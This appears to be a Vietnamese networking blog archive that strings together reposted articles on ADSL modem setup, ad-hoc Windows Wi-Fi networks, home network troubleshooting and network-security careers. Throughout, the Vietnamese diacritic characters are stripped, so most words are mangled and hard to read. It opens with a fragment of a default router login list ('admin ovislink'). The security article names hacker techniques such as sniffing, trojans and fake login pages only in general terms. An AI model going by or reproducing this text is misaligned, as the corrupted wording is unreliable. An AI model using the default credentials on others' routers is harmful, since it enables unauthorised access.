Barricade Conexant Ovislink 192.168.1.254 admin ovislink a s cc loi modem user password
Nhim v ca bn l lm sao phi vo c trang web cu hnh Modem v khai bo cc thng s trn. Trong v d ny chng ti s hng dn trng hp c th Modem SpeedTouch 530. Cc Modem khc cng c th lm tng t (tham kho ti liu k thut tng ng ca thit b km theo).
- Sau khi bn lp t s nh hnh v, bn hy cp in cho ton b h thng (Modem, Switch/Hub v my tnh..). - T mt my tnh bt k (trong mng ni b hoc ni trc tip vi modem) m trnh duyt web (Internet Explorer) g a ch IP modem nh trong bng trn (10.0.0.138). Nu ln u tin bn cu hnh Modem SpeedTouch th my s khng hi password modem (c th cc lai modem khc s hi password modem v bn phi g vo mi m c). Trn Menu bn tri chn AdvancedEasy SetupNextRouted PPPoE-DHCPNAPT NEXT 8.35 (hai thng s VCI/VPI)NEXTTi y my s hin ln ca s PPP Account Setting: Trn ca s ny trong username v password bn khai bo username v password do VNN cung cp cho bn. Trong Service Name bn g MeGaVNN. Ri tip tc chn NEXT. My s hin ra ca s: Speed Touch Security. Trong ca s ny bn s khai bo username (t t) v password (t t) cho php m trang web cu hnh modem ny. Nu bn b trng th ln sau m trang web modem my s khng hi username v password. Ngc li nu bn t t mt username v password y th ln sau mi ln bn m trang web 10.0.0.138 my tnh s Ngi vit hoangcanhvc@yahoo.com.vn lc 01:11 c ng bi haodalat ti 8:57 CH 0 nhn xet Nhan: ADSL - MEGAVNN, co ban ve Mang may tinh, NETWORK
Mt s kinh nghim lp t ADSL
Nm 2008 v vi nm ti dc d bo l thi hong kim ca dch v bng rng, trong ADSL (Asymmetric Digital Subscriber Line - ng dy thu bao s khng i xng) c nh gi l mt trong nhng dch v c nhiu tim nng. Hin nay, dch v ADSL pht trin khng ch thnh th m cn lan rng n nng thn, thm ch vng su vng xa, do nhu cu ngi dng ngy mt tng v gi cc c xu hng gim mnh. Cc nh cung cp dch v ang trong cuc ua quyt lit nhm li ko khch hng v mnh. Tuy nhin, lm th no xy dng nn mt qui trnh khp kn t khi nhn yu cu, x l
thng tin cho n lp t v bo dng mt cch khoa hc, hiu qu li l mt bi ton t ra cho h - nhng nh cung cp dch v. i vi thu bao ADSL c th 2 dng: th nht l thun tu ADSL v th hai l a dch v (chng hn nh i chung ng vi ng dy in thoi). Dng th nht thng thng c cp s o, cn i vi dng th hai th c cp s bnh thng nh dch v thoi. Vic lp t ADSL ngoi nhng tr ngi nh lp t my in thoi (vic tm a ch lp t, ch thu bao i vng nhng khng lin lc c, khng c ng ko dy, cp hng, u ni cha tip MDF ca tng i...) th cng c nhng rc ri khc. Chng hn khch hng mun thay i a im t router/modem hay my tnh th phi ko ng dy khc. Nhiu trng hp cc khu bit th hay nh cao tng c dy i ng m tng th rt kh khn do nhiu khi thm ch ch nh cng khng bit ng i ca cp ni b trong nh nh th no. i vi nhng thu bao do nh cung cp trang b modem/router, vic ci t tng i d dng nhng nu khch hng t trang b modem/router, nht l cc loi c, khng cn driver ci t th tng i phc tp. Ngoi ra, nhiu chi tit tuy nh nh ngi nh khng bit mt khu vo my tnh, h iu hnh b li hay thiu cm in cng c th gy phin toi khi ci t....Ni chung, trong nhiu trng hp d c chun b kh chu o th nhn vin lp t vn gp phi mt s tr ngi khch quan nh ni trn. Bi vy gim thiu thi gian lp t, ngi tc nghip nn chun b tt mt s vic sau trc khi n nh khch hng v trong qu trnh tin hnh lp t hay x l my hng: 1. Gi in n cc nt chuyn mch kim tra xem ng line u ADSL tt cha v kim tra kt qu khai bo ti nh cung cp cng nh o kim ng ti ln, ti xung t ng tc theo gi cc yu cu cha? 2. Gi in lin h hi c th a im lp t (nh thu bao), hn khch hng thi gian lp t. 3. Hi khch hng v v tr lp t ADSL, u dy tn hiu c ko gn n ch t my vi tnh cha? Tnh trng my tnh chy tt cha? Ngi theo di nh c bit mt khu vo my tnh khng? Khch hng trang b modem/router cha? Loi no? Vic trao i nh vy cn ht sc thn trng, mm do v t nh trnh gy phin h cho khch hng. 4. Chun b cc dng c tc nghip v thit b cn thit, trong khng th thiu cc thit b dng kim tra nh: modem/router, b lc ADSL (splitter), dy mng my tnh, dy ni USB, a driver USB, hp u dy v dy line vn hnh th tt kim tra loi tr trong trng hp c s c xy ra. Nu c
my tnh xch tay th nghim giao tip tt vi b cng c trn th cng tt. i vi cng tc ny cn c bit lu hai iu: th nht l hin nay c nhiu hp u dy c trang b bo mch chng st s khng tng thch vi tn hiu ADSL nn d cho pha tng i u ni tt nhng ti nh thu bao vn khng c tn hiu DSL v th hai l cc u ni dy c th cha tip tt hay bm dy cha ng lut mu (i vi dy mng my tnh) cng c th nh hng nghim trng n tc ng truyn, thm ch lm cho ng truyn khng th truyn c. 5. Khi n nh khch hng, trc ht cn kim tra cc thit b ca khc hng t yu cu k thut cha? n bc ny cn c bit lu n cu hnh my tnh, h iu hnh v card mng hay phin bn ca driver USB ang dng. 6. Tu tng loi modem/router v b lc m kim tra cc s u ni, cc n tn hiu bo ng cha? Sau mi tin hnh ng nhp theo a ch IP ca modem/router ci t. 7. Khi ci t tt c cc thng s cn kim tra xem tn hiu kt ni c cha (thng thng qua menu Diagnostic hoc dng cc lnh ping [a ch IP] hay lnh tracert -d [a ch IP] ca Windows). Bng mt thng cng c th quan st cc n tn hiu bit modem c ci t tt cha. Nu tn hiu thng tt th tin hnh duyt web th. Nu t yu cu th phi lu li cu hnh ci t i vi mt s loi modem/router nu mt ngun nui th thng s cu hnh vn khng mt. Mt s loi modem/router cn cho php lu cu hnh ra tp tin (thng thng qua menu Save Settings) khi reset c th dng tp tin ny np li cu hnh nhm gim thiu thi gian ci t.
Theo TCBCVT http://www.quantrimang.com/view.asp? Cat_ID=3&Cat_Sub_ID=0&News_ID=45216 c ng bi haodalat ti 8:49 CH 0 nhn xet Nhan: co ban ve Mang may tinh, C TH BN CHA BIT, NETWORK
Xy dng mng khng dy khng cn router khng dy
Rt nhiu ngi khng bit rng nu chy Windows XP hoc Windows Vista th hon ton c th thit lp mt mng khng dy nh hoc vn phng m khng cn n router bng thng rng khng dy hoc im truy cp khng dy, hon ton c th tit kim c chi ph. Trong hng dn ny, chng ti s hng dn tng bc mt trong vic thit lp mt kiu mng khng dy, kiu c bit n vi ci tn ad-hoc. Hin ang c ngy cng nhiu ngi sn lng xy dng mt mng khng dy
ring cho mnh. Mng khng dy c th thit lp ti nh hoc vn phng, t bn c th chia s file, s dng my in v truy cp Internet m khng cn phi chy dy cp mng long ngong vo cc my tnh trong mng. im tuyt vi nht l trong trng hp bn c cc my tnh nm v tr kh c th thit lp h thng cp mng chy dy hoc trong trng hp bn mun t do truy cp mng v Internet bng laptop bt c ch no bn trong vn phng hoc nh. R rng chng ta ang ni v cc my tnh laptop vi kh nng kt ni mng khng dy tt c cc laptop u c tnh nng ny. Nu bn ang s dng my desktop hoc laptop m khng c kh nng kt ni mng khng dy th th cn thc hin u tin l mua mt card mng khng dy cho mi my tnh m bn mun kt ni vo mng cng nh Internet. thit lp mt mng khng dy ring, bn cn phi c: * Mt kt ni Internet bng thng rng; * Mt card mng khng dy c ci t trn mi my tnh mun kt ni vi mng; * Mt router bng thng rng khng dy (khng bt buc). Thng thng thnh phn phn cng c tn gi router bng thng rng khng dy hoc im truy cp l cn thit. Tuy nhin trong hng dn ny chng ti s gii thiu cho cc bn cch thit lp mt mng khng dy m khng cn n thit b ny, cho php bn tit kim c chi ph. Tuy nhin, bn cng cn bit trc nhng nhc im ca vic khng c mt router khng dy: * My tnh c kt ni Internet bng thng rng lun lun phi bt. Nu bn tt my tnh ny th cc my tnh khc s mt kt ni vi Internet. * Mng ca bn s km an ton v cc router bng thng rng thng tch hp c tng la phn cng trong . * Vn m ha c s dng bi kt ni ad-hoc thng yu hn m ha c cung cp bi cc router bng thng rng khng dy, chnh v vy n d dng b mt hacker tn cng (chng ti khng khuyn cc bn s dng gii php ny cho vic truyn ti nhng d liu quan trng). * Tc mng b hn ch di 11MBps, thm ch nu bn ang s dng card 54MBps trong mng ca mnh. Bn cng c th cu hnh mt mng ad-hoc d c mt router bng thng rng nhng khng c kh nng khng dy. Trong trng hp ny, bn ng qun mc th hai c lit k trn, nhng cc mc khc vn hon ton ng. Thm vo c mt th cng rt quan trng nu c mt router
bng thng rng c ci t trong mng: bn cn phi thay i di a ch IP ca mng nu n c cu hnh s dng di 192.168.0.x thnh 192.168.1.x v dch v chia s Internet ca Windows cng s dng di 192.168.0.x v khi bn s b xung t a ch IP trong mng ca mnh. Cu hnh ny c thc hin bng cch vo chng trnh ci t ca router (thng m http://192.168.0.1 t bt k mt my tnh no c kt ni vi n). Card mng khng dy Nh nhng g chng ti cp, bn cn phi mua mt card mng khng dy cho mi my tnh mun kt ni vi mng. Cc card mng ny phi tng thch vi t nht mt giao thc IEEE 802.11. C mt s giao thc v ph bin nht l IEEE 802.11b, 802.11g v 802.11a. S khc nhau chnh gia chng l tc : giao thc 802.11b c th truyn ti d liu ln n 11MBps, cn g v a c th truyn ti ln n 54MBps (s khc nhau gia g v a chnh l ph tn s m chng hot ng). Giao thc mi c pht hnh l n, giao thc ny s c tc truyn ti ln nht ln n 540MBps. Mt s card mng c tc 108MBps, tuy nhin trong thc t cc card 54MBps li ang s dng k thut nn d liu v chng t c tc ny th router bng thng rng ca bn v card mng c ci t trn my tnh cn phi c cng ngh ny v phi c lm t cng mt nh my sn xut, ngc li chng s khng lm vic nh card b, g v a thng thng. Cng ngh ny cng khng lm vic trong cc mng ad-hoc, ngha l cc mng khng s dng router bng thng rng. Theo l thuyt kch bn tt nht l phi c tt c cc my tnh u s dng card 54MBps (hoc 108MBps). Mc d vy, bn s b hn ch bi tc kt ni mng ca mnh. Chnh v vy bn khng s dng mng ca mnh cho vic truyn ti file gia cc my tnh, vic mua card 54MBps l khng sng sut, n gin l v tc kt ni Internet ca bn s thp hn rt nhiu. V d, nu bn c mt kt ni 1MBps th s c mt mng c kh nng truyn ti d liu nhanh gp 54 ln so vi kt ni Internet. Mt mng 11MBps s lm vic tt hn cho bn trong trng hp ny (n s nhanh hn n khong 11 ln cho kt ni Internet). Chnh v vy bn c th gim c chi ph bng cch mua card 11MBps chng c lm vic tt hn vi nhng ngi dng trung bnh. Cng vy, cc mng ad-hoc cng n gin khng ng tn nhiu tin. Nu bn thc s mun c mt kt ni 54MBps (hoc 108Mbps) th nn thit k mt mng khng dy c s dng router. Phn tch mt cht cho cc bn d hiu, nu bn c mt kt ni Internet 1MBps hoc 2MBps th bn vn phi dng li tc d c s dng card khng dy 11MBps hay 54MBps i chng na. Thm ch nu ngay c sau nhng g chng ti ni trn bn vn quyt nh
mua mt card mng khng dy 54MBps, th phi bo m rng card mng ny phi tng thch vi chun 802.11b, v nh bn c th xy dng mt mng khng dy m khng cn s dng router, v cc mng ad-hoc ch lm vic tc 11MBps. Cng l mt tng tt nu bn mua tt c cc card u c cng chun 54MBps (a hoc g), phng khi trong tng lai bn quyt nh nng cp mng bng cch ci t mt router khng dy th tt c cc card ny u c th p ng c kh nng truyn ti 54MBps. C hai kiu card mng khng dy hin c trn th trng: USB v add-on. Thng thng card add-on chy n nh hn. Card add-on cho cc my tnh desktop c cung cp cho slot PCI (c th cho slot PCI Express x1 trong tng lai) v card add-on ca cc my tnh laptops c cung cp cho slot PC Card (PCMCIA) hoc slot Express Card. Nu laptop ca bn khng c card mng khng dy i km th cn phi kim tra xem n c khe cm m rng hay khng (PC Card hoc Express Card) v mua mt card khng dy add-on cho n (PC Card c th l mt la chn sng sut v cc slot ca Express Card cng chp nhn cc thit b ny). Trong hnh 1 bn c th thy mt card mng khng dy loi PCI add-on cho cc my desktop, trong hnh 2 l mt card mng khng dy USB c th s dng cho cc my desktop v laptop, cn trong hnh 3 l mt card mng khng dy PC Card add-on cho cc my laptop. Hnh 1: Card mng khng dy PCI add-on Hnh 2: Card mng khng dy USB Hnh 3: Card mng khng dy PC Card Vic ci t card ny cn phi c thc hin theo hng dn s dng ca card. Thng thng n rt n gin: ch cn kt ni thit b vi my tnh (nu ci t mt card PCI trn my desktop th bn cn tt my v m case), bt my tr li v ci t driver ca card. Vi card PCI nh th hin trong hnh 1 (mt card D-Link DWL-G510), chng ti cn phi ci t driver trc khi lp t card vo my tnh. Ci t card mng khng dy vo cc my tnh s c kt ni vi mng khng dy. Bc tip theo l cu hnh my ch, ngha l my tnh c kt ni bng thng rng. Nu bn mun chia s kt ni Internet ca mnh bng mt router bng thng rng thng thng (ngha l khng c kh nng khng dy) th bt k my tnh no c kt ni vi router u c th c cu hnh l my ch. Trong trng hp ny bn ch cn nh rng: cn thay i di a ch IP ca mng nu n c cu hnh s dng di 192.168.0.x thnh
192.168.1.x v dch v chia s Internet ca Windows s dng di 192.168.0.x v khi bn s b xung t cc a ch IP trong mng ca mnh. Cu hnh ny c thc hin bng cch vo chng trnh ci t ca router (thng thng l m http://192.168.0.1 t bt k my tnh no c kt ni ti n). Cu hnh my ch Bn cn cu hnh my ch, ngha l my tnh c kt ni bng thng rng. Nh nhng g chng ti cp, nu bn tt my ch th tt c cc my tnh s mt truy cp vo Internet. Thc hin theo hng dn tng bc di y: 1. Vo Start > Control Panel > Network Connections. Kch chut phi vo kt ni khng dy (thng vn c gi l Wireless Network Connection) v chn Properties. Hnh 4: Chn thuc tnh ca kt ni khng dy 2. Trong ca s xut hin, kch vo tab Wireless Networks (xem trong hnh 5). Bo m rng khng c mng khng dy no c lit k di Preferred Networks. Nu bn thy c mng no y, hy ln lt xa chng i. Hnh 5: Cu hnh mng khng dy 3. Kch vo nt Advanced v ca s nh trong hnh 6 s xut hin. Chn Computer-to-computer (ad-hoc) networks only v kch Close. Hnh 6: Cu hnh mng theo kiu ad-hoc 4. Ca s th hin trong hnh 5 s hin li mt ln na. Lc ny kch vo Add v ca s mi s xut hin nh trong hnh 7. Bn cn phi in vo mt s th di y: Hnh 7: To mng khng dy ring * Network Name (SSID): y s l tn mng ca bn. y l cch cc my tnh s gi mng. Trong trng hp ca ny, chng ti gi n l MyHome. * Network Authentication: Open.
* Data encryption: WEP. * Hy chn The key is provided for me automatically * Cu hnh kha bo v. y l mt khu s c s dng m ha d liu truyn ti trong mng, ngn chn hng xm lt Web cha v cng ngn chn ngi khc xem hoc xa cc file ca bn, nu tnh nng chia s file c kch hot trong mng. 5. Sau khi kch OK, bn s thy mng va to xut hin di Preferred Networks, xem trong hnh 8. Mng lc ny vn b lit k vi mt ch x , y l iu ht sc bnh thng v bn khng phi lo lng nhiu. Hnh 8: Mng c lit k 6. Lc ny bn cn chia s kt ni Internet. Hy ch v iu ny c thc hin trn card mng c Internet bng thng rng kt ni, khng phi card mng khng dy. Vo Network Connections (Start > Control Panel), kch chut phi vo card mng ang kt ni Internet bng thng rng v sau chn Properties. Trong ca s Properties, bn kch tab Advanced. tab ny, bn tch vo hp Allow other network users to connect thru this computers Internet connection v hy chn hp Allow other network users to control or disable the shared Internet connection, nh trong hnh 9. Hnh 9: Chia s kt ni Internet 7. Kch OK v lc ny bn s nhn thy t Shared nm di tn ca kt ni mng Internet bng thng rng (thng c gi l Local Area Connection), xem trong hnh 10. Kt ni khng dy ca bn s vn c ch Not Connected; khng vn g c. N s ch thay i thnh Connected sau khi c mt my tnh no nhp vo mng. Hnh 10: Kt ni Internet c chia s 8. Lc ny my ch c cu hnh ng, bn cn cu hnh cc my tnh khc truy cp vo mng khng dy. Cu hnh cc my tnh khc Bn cu hnh xong my ch, y l lc bn cn phi cu hnh cc my tnh khc cn truy cp vo mng khng dy. Cu hnh ny rt n gin; bn ch cn theo cc bc di y:
9. Nu bn cu hnh ng my ch th mng khng dy s c lit k trong danh sch mng tt c cc my tnh c card mng khng dy bn trong di ca card c ci t trn my ch. Ch cn kch vo biu tng mng khng dy c trn task bar v kch p vo kt ni khng dy ca bn trong Network Connections (Start > Control Panel) xem danh sch cc mng khng dy ang c. Nh nhng g thy trong hnh 11, chng ta c mt s mng khng dy (tt c u l hng xm ca mnh, nh vy vn m ha y l rt quan trng). Tt c nhng g bn cn thc hin l kch vo mng ca mnh (trong trng hp v d ny l MyHome). Hnh 11: Danh sch cc mng khng dy 10. Sau khi kch p vo mng ca bn, Windows s hi mt khu mng (mt khu m chng ta cu hnh trong bc 4), xem hnh 12: Hnh 12: Nhp kha mt khu (password) truy cp vo mng khng dy 11. Sau khi kch OK, trng thi mng s c lit k Acquiring Network Address v sau s thay i thnh Connected, bn c th xem trong hnh 13. Hnh 13: Lc ny bn kt ni vo mng 12. Sau y bn c th truy cp vo Internet bng kt ni Internet c sn trong my ch. Kim tra mng bng cch m trnh duyt web (Internet Explorer hoc Firefox) v nhp vo mt a ch web m bn bit. 13. Lc ny trn my ch kt ni khng dy s xut hin vi dng ch connected, xem trong hnh 14. Nh nhng g chng ti ni t trc, kt ni khng dy trn my ch s xut hin connected ch khi c mt my tnh khc kt ni vo mng. Hnh 14: Kt ni khng dy ca my tnh ch xut hin Connected. 14. ngn chn cc vn khng n nh ca mng khng dy, chng ti khuyn bn xa tt c cc mng khc xut hin trong danh sch Preferred Networks trn tt c cc my tnh. Bn c th thc hin bng cch kch chut phi vo kt ni khng dy trong Network Connections (Start > Control Panel), chn Properties, khi ca s Properties xut hin, bn kch tab Wireless Networks. Xa tt c cc mng khc lit k trong Preferred Networks tr mng ca bn, xem trong hnh 15.
Hnh 15: Xa tt c cc mng khc v ch li mng ca chnh bn 15. Lc ny bn c th chia s kt ni Internet gia cc my tnh v cng c th cu hnh mng ca mnh chia s my in v file. Th tuyt vi nht v vic chia s l cc file v my in m bn mun chia s khng cn t trn my ch, chng c th c t bt k my tnh no trong mng (tuy nhin nu bn chia s mt my in th chng ti khuyn bn nn kt ni my in vi my ch v my tnh ny s lun c bt). TheWall - VietCNTT.com ( Theo Hardwaresecrets - QTM ) http://vietcntt.com/news/modules.php?name=News&op=viewst&sid=5504 c ng bi haodalat ti 9:10 SA 0 nhn xet Nhan: co ban ve Mang may tinh, MCSA, NETWORK, wifi, WIRELESS
Khc phc cc s c mng n gin trong gia nh
Wi-Fi kt ni qu chm hoc khng th kt ni, my in khng th chia s -chng ti s hng dn bn nhng thao tc c bn khc phc cc vn nh vy. Ti sao cc my tnh ca ti khng th nhn thy nhau trn mng mc d tt c u c th truy cp internet? Do tt c cc my tnh ca bn u c th truy cp Internet nn chng ta c th tha nhn rng bn khng gp cc vn no v phn cng mng. Hy bt u cng vic khc phc tnh hung ny bng tin ch khc phc s c mng ca Windows n khng nhng c kh nng tr gip m cn c th thc hin nhanh chng v d dng. Trong XP, bn chn Start > Help and Support. Kch Fixing a problem v sau Networking Problems. Trong Vista bn chn Start > Help and Support. Trong c hai phin bn Windows, kch Troubleshooting, sau l Troubleshoot problems finding computers on a home network. Nu hot ng khng gip g c th bn hy kim tra tng la. Cc firewall my tnh ca hng th ba nh ZoneAlarm v Norton Internet Security thng kha cc mng ni b. Ch : an ton, bn hy bt u bng cch hy kt ni kt ni internet thng qua vic tt thit b DSL hoc modem hoc tho cp kt ni modem vi router. Sau tt tng la ca mi my tnh. Nu cc my tnh vn khng nhn thy nhau th nguyn nhn khng phi l do tng la.
Bn hy th bt li tng la ca mt my. Vn nh vy c xut hin tr li khng? Hy kim tra cc thit lp tng la ca my tnh v ti liu xem cch khc phc no khc. Bn c th phi add cc my tnh khc cn li vo "Trusted Zone" hoc mt vi nhm nh vy. Lp li qu trnh ny vi mi my tnh. Khng kt ni li vi Internet cho ti khi tt c tng la c backup v lm vic. y l mt s bc cn thit khc phc s c cc vn tim n khc. Lm cho tt c cc my tnh ca bn nm trong cng mt nhm lm vic: Nhn Windows-R, nh sysdm.cpl, v nhn Enter (nu l XP, bn hy kch Start > Run, nh sysdm.cpl, v nhn Enter; hoc trong Vista kch Start, nh sysdm.cpl, v nhn Enter). Kch chn tab Computer Name. Nu tn nhm lm vic (workgroup) y khng ph hp vi tn workgroup c lit k trn cc my tnh khc hy kch Change. Kch hot tnh nng chia s. Nhn Windows-R (hoc s dng phng php ny cho XP cn Vista s c cp trn), nh vo ncpa.cpl, v nhn Enter. Kch chut phi vo kt ni mng thch hp, chn Properties. Nu ty chn File and Printer Sharing for Microsoft Networks khng c chn th hy nh du chn n. Nu bn s dng Vista, cn phi chn Start > Network, kch Network and Sharing Center. y bn c th tinh chnh cc thit lp chia s file ca mnh. Chia s mt th mc: Trong Windows Explorer ca XP, bn vo th mc mun chia s. Nu biu tng ca th mc khng c hnh bn tay nh th hy kch chut phi vo n, chn Sharing and Security. Trong tab Sharing ca hp thoi m ra, bn tch vo hp kim Folder on the network, v hon tt cc ty chn khc. Nu h iu hnh ca bn l Vista, biu tng th mc c mt bc tranh nh hai ngi. Nu khng c, ngha l th mc cha c chia s, bn hy kch chut phi vo n v chn Share. Trong hp thoi mi xut hin, nh everyone vo trng vn bn, kch Add v iu chnh mc cho php ca bn (nu mun) v kch Share. Nu cc my tnh vn khng nhn thy nhau, ln ny bn hy nhn WindowsR, nh vo ng dn mng ca my tnh khc v nhn Enter. ng dn mng l hai du s cho v tn ca my tnh trong mng, v d nh chris chng hn.
Nu bc ny thnh cng, bn c th bn ha cc my tnh nh nh mt a mng hoc to mt ng tt cho n. Cch chia s my in trong mng Thc s c n 3 cch thc hin iu ny. Chng tay hy bt u vi cch hon ton min ph. Bn c th kt ni d dng my in vi mt my tnh v chia s n vi cc my tnh khc m khng mt thm mt xu no. Tuy nhin c mt im yu l bn khng th in t nhng my tnh xa c v khong cch m ch t my c lp trc tip. Nu bn hon ton tha mn vi iu kin , hy theo ti liu hng dn ca my in ci t n trn my tnh chn. Sau trong Printers and Faxes ca Control Panel, bn kch chut phi v chn Sharing, tch vo hp kim Share this pritner v kch OK chp nhn cc thit lp chia s mc nh i vi my in. Trn cc my tnh khc, bn m Printers and Faxes ca Control Panel v kch Add a printer. Trong ca s mi xut hin, chn ty chn network. N s tm my in v a bn n nhng cng vic ci t cn li. Trn my tnh t xa, chn Add a network, wireless or Bluetooth printer duyt ti mt my in c chia s t my tnh khc Nu b i mt my tnh kt ni ch lm thao tc ny v gy tn thi gian th bn nn xem xt n gii php mua mt my ch in nh (print server). Gi thnh khong 50 USD hoc t hn, my ch in mini l mt hp nh (thng nh hn c adapter AC ca chnh n) vi mt cng USB hoc cng song song pha cui v Wi-Fi hoc ethernet u kia. Bn cm n vo my in v mng, ci t driver trn tt c cc my tnh khc, khi mi ngi u c th thc hin thao tc in n. C nhiu th khng thc s n gin vi giao din USB. Nu my in ca bn thiu giao din song song th s phi tm mt my in c giao din USB. Bn c th tm kim thm thng tin model ca my in thng qua search engine vi chui t kho tm kim l print server. Tip sau bn c th chn hng my in v xem xem my ch no c khuyn khch nn dng. Vic s dng my ch in c th gy ra vn l my lun lun phi c bt. Nu cc vn ny u khng chp nhn c hoc nu my in ca bn
thiu cng song song v khng th tm ra my ch USB thch hp, th bn c th phi chp nhn hon cnh l s dng mt my c kt ni, bt lin tc v y cng l ty chn tn km nht: mua mt my in c kh nng kt ni mng. Mt my in c trang b ethernet hoc Wi-Fi s l gii php n gin nht v linh hot nht, nhng d sao i chng na bn cng cn t ra cu hi liu c cn n mt my in mi khng. Ch cn lu kh nng kt ni mng trong u, bn hy i shopping tm kim ly mt my in mi. Cc my in c kh nng kt ni mng hin c bn trn th trng vi nhiu mc gi khc nhau. Ti sao tc khng dy ca ti li thay i qu nhanh v ti sao s thay i ny li dng nh nh hng ti hiu sut Internet? Nu bn tng nghe i trong khi ngi trong xe car v chy bn trong mt ng hm di, bn s thy rng s thay i ca mi trng s nh hng n tn hiu khng dy nh th no. y cng vy vi tn hiu khng dy ca bn v trong nh bn i khi ai c th vn to l vi sng, sng Wi-Fi ca hng xm,. Mt th khc na l hin tng xuyn nhiu nu n khng lm mt ton b cng tn hiu ca bn th cng lm cho kt ni mng ca bn b chm i nhiu. Chnh v vy khng nn ngc nhin v tn hiu Wi-Fi ca bn li chm v hay thay i nh vy. TheWall - VietCNTT.com ( Theo PC World - QTM ) http://vietcntt.com/news/modules.php?name=News&op=viewst&sid=5745 c ng bi haodalat ti 9:04 SA 0 nhn xet Nhan: NETWORK, wifi, WIRELESS
An ninh mng: ngh c thu nhp cao!
Khi nhng giao dch qua mng nh thng mi in t, th trng chng khon, ngn hng... ngy cng pht trin th vn chng hacker xm nhp lm u phi php c t ra v c tnh sng cn. Chnh v vy m cc chuyn vin v an ninh mng khng thiu t dng v v c tr lng cao... Sau khi hc xong chng trnh qun tr mng, bn c th iu khin, vn hnh mt h thng mng ca mt doanh nghip vi mc lng hng thng khong t 2 - 3 triu ng. Nu h thng mng vn hnh trn tru v khng b ngi khc nhm ng, cng vic ca bn c th s rt nhn ri. Ngc li, bn phi tip tc nng cao kin thc qun tr mng v b sung thm kin thc an ninh mng chng chi vi nhng xm nhp tri php vo mng, a ra nhng cnh bo cn thit v kp thi nhm bo ton thng tin ca
doanh nghip, tt nhin mc lng lc ca bn cng phi tng ln mc ti thiu l khong 5 triu ng. Xu hng an ninh mng ang c nh thc Vi nn tng mng LAN, cht lng v tc Internet tng i n nh nh hin nay, nhiu doanh nghip khng cn lo lng v tnh n nh ca mng na m chuyn sang lo s v s tht thot d liu. iu ny chng khc no nhu cu i sng ca con ngi hin nay, chuyn t n no, mc m sang n ngon, mc p. Chnh v l , nhiu doanh nghip bt u cao vn an ninh h thng khi tuyn nhn vin IT (tin hc), hoc thu nhn vin bo mt, hp ng vi cc doanh nghip chuyn v bo mt trong vic kim tra h thng. Mt s hacker v cc chuyn gia an ninh mng Vit Nam cho bit, nh tm hiu v theo di cc s c v mng xy ra cc sn giao dch chng khon trong thi gian qua, nhiu ngi dng v cc doanh nghip thy c tm quan trng ca an ninh mng trong n v ca h. Nu trc y, hacker d dng xm nhp vo website, email, mng LAN, my tnh laptop qua kt ni wifi... ly cp thng tin th gi y, nhng hnh ng ny c v kh khn hn. Chun no cho an ninh mng? Hin nay trn th gii c 3 chun an ninh mng c nhiu ngi nhc n, l: CEH (EC-Council), CISSP, CompTIA. Trong , chun CEH ni tri hn 2 chun cn li. Qua vic kho st cc trung tm o to an ninh mng Vit Nam, chng ti nhn thy a s u thit k chng trnh hc theo chun ny. Tuy nhin, chng trnh o to th chng ni no ging nhau; mt s ni hp tc vi t chc CEH cp bng cho ngi hc nhm th hin ng cp quc t, cng nh gip ngi hc t tin hn v chng nhn an ninh mng t c. An ninh mng c xp vo cp cao hn qun tr mng, do vy mun tham gia vo cc chng trnh hc ny, hc vin phi hon thnh cc chng ch v mng nh MCSA ca Micriosft, CCNA ca Cisco... ri kinh nghim trong vic qun tr mng v bo mt h thng. ng thi hc vin phi c kin thc lp trnh web (ASP, PHP), C, Visual Basic (VB), c s d liu (database)... bit cch c v phn tch cc m lnh c trong virus, trojan, on chng trnh thu thp c khi h thng mng xy ra s c, cng nh dng kin thc ny sa lnh v vit nhng chng trnh nh phc v cho vic bo mt mng. Thi gian hc cho nhm i tng ny thng rt ngn, khong t 100 gi n 3 thng v mc hc ph cng cao hn so vi hc qun tr mng. Khi hc an ninh mng, kin thc v khai thc l hng bo mt trong mng v cc chng trnh phn mm s c nng ln gp bi. Tuy nhin, cc kin
thc ny nh l con dao 2 li; bi nu l nhng ngi khng c lng tm v khng nhn thc c nhng hu qu c th xy ra, h s tr thnh nhng k ph hoi (thng gi l hacker, hay l hacker m en). Nhng cng vi ngn y kin thc, nhng ngi tt (thng gi hacker m trng, nhn vin an ninh mng...) s dng vo vic kim tra, nh gi tnh an ton ca h thng mng v thc hin cc bin php ngn chn. Mt s k thut trong an ninh mng dng c h thng mng m bo an ninh, bn phi nm c cc cch thc thng dng ca hacker, t phn on v trm nhng l hng ang tn ti. Xut pht t quan im ny, hin nay cc trung tm o to an ninh mng thng dy hc vin cch khai thc l hng theo mc t d n kh, ng thi phn tch v a ra hng ngn chn. K thut u tin l chui cc cch thu thp thng tin ca i tng, t trc tip n gin tip, gi mo thng tin, che giu thng tin, nhn dng kiu thng tin qua vic qut h thng bng dng lnh hoc cc cng c. Song song vi vic dng k thut l vic phng on thng tin ca h thng, ngi qun tr h thng d tm password qun tr. mc cao hn, thit lp vic nghe ln thng tin truyn ti trong mng (sniffer); ci virus, trojan, backdoor... thu thp thng tin; to cc trang web gi mo la ngi dng ly ti khon email, ngn hng... Tip n l khai thc cc my ch (server), cc chng trnh to web server v c s d liu, kiu tn cng DoS... Chnh v nhng k thut khng r rng gia ph hoi v kim tra ny m mt s trung tm o to an ninh mng a vo phn ph bin cc iu trong b lut ca Nh nc i vi cc hnh vi ph hoi, xm nhp h thng mng tri php. TheWall - VietCNTT.com ( Theo KHPT ) http://vietcntt.com/news/modules.php?name=News&op=viewst&sid=5723 c ng bi haodalat ti 8:10 SA 0 nhn xet Nhan: MCSA
20-04-2008
AN NINH MNG V MT S LU TRONG QUN TR MNG MY TNH

Mng my tnh truyn thng (Broadcasting Networks) ni ring v cc h tng k thut tin hc ni chung ang ngy cng tr nn quen thuc v ng vai tr ngy mt ln trong cuc sng hng ngy, tuy nhin chng cng em li cho chng ta nhng vn nhy cm mi: vn Bo mt thng tin v An ninh h thng trong vn hnh. 1. An ninh mng my tnh.
